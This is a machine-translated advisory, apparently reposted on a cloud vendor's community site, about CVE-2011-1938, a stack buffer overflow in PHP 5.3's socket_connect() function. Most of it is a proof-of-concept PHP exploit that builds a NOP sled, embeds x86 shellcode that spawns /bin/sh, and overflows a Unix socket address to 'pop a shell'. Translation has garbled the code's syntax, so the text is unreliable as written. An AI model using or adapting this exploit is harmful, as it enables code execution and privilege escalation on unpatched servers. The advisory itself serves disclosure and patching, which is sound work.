PHP socket_connect () function Stack Buffer Overflow Vulnerability

Source: Internet
Author: User

Release date:
Updated on:

Affected Systems:
PHP 5.3.x
Description:
--------------------------------------------------------------------------------
Bugtraq id: 47950
Cve id: CVE-2011-1938

PHP is short for the English Super Text preprocessing language (PHP: Hypertext Preprocessor.

The PHP "socket_connect ()" function has the stack buffer overflow vulnerability. Remote attackers can exploit this vulnerability to execute arbitrary machine code in the PHP Execution Process, which may cause the Web server to crash, A valid user is denied.

<* Source: Mateusz Kocielski
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

<? Php
Echo "[+] CVE-2011-1938 ";
Echo "[+] there we go... \ n ";
Define ('evil _ SPACE_ADDR ', "\ xff \ xee \ xb3 ");
Define ('evil _ SPACE_SIZE ', 1024*1024*8 );
$ SHELLCODE =
"\ X6a \ x31 \ x58 \ x99 \ xcd \ x80 \ x89 \ xc3 \ x89 \ xc1 \ x6a \ x46 \ x58 \ xcd \ x80 \ xb0 ".
"\ X0b \ x52 \ x68 \ x6e \ x2f \ x73 \ x68 \ x68 \ x2f \ x2f \ x62 \ x69 \ x89 \ xe3 \ x89 \ xd1 ".
"\ Xcd \ x80 ";
Echo "[+] creating the sled. \ n ";

$ CODE = str_repeat ("\ x90", EVIL_SPACE_SIZE );
For ($ I = 0, $ j = EVIL_SPACE_SIZE-strlen ($ SHELLCODE)-1;
$ I <strlen ($ SHELLCODE); $ I ++, $ j ++ ){
$ CODE [$ j] = $ SHELLCODE [$ I];
}

$ B = str_repeat ("A", 196). EVIL_SPACE_ADDR;
$ Var79 = socket_create (AF_UNIX, SOCK_STREAM, 1 );
Echo "[+] popping shell, have fun (if you picked the right address...) \ n ";
$ Var85 = socket_connect ($ var79, $ B );
?>

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

PHP
---
The vendor has released a patch to fix this security problem. Please download it from the vendor's homepage:

Http://www.php.net

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.